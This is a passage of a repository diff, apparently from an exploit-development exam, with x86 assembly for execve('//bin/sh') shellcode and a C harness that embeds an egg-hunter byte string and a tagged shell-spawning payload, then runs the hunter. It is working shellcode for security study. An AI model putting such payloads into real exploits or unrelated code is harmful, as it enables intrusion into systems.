push 0x69622f2f ; beginning of '//bin/sh' string is here
|
||||
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
||||
|
||||
; ECX
|
||||
push edx ; NULL termination of a stack
|
||||
push ebx ; load our '//bin/sh' on a stack
|
||||
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
||||
|
||||
; EDX
|
||||
push edx ; NULL terminator
|
||||
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
||||
int 0x80
|
||||
|
||||
BIN
exam3/basic/shellcode
Executable file
BIN
exam3/basic/shellcode
Executable file
Binary file not shown.
18
exam3/basic/shellcode.c
Normal file
18
exam3/basic/shellcode.c
Normal file
@ -0,0 +1,18 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = "\x40\x81\x78\xf8\x65\x67\x67\x2e\x75\xf6\x81\x78\xfc\x4d\x61\x52\x6b\x75\xed\xff\xd0";
|
||||
|
||||
unsigned char garbage1[] = "Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = "\x65\x67\x67\x2e\x4d\x61\x52\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
|
||||
|
||||
unsigned char garbage2[] = "And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user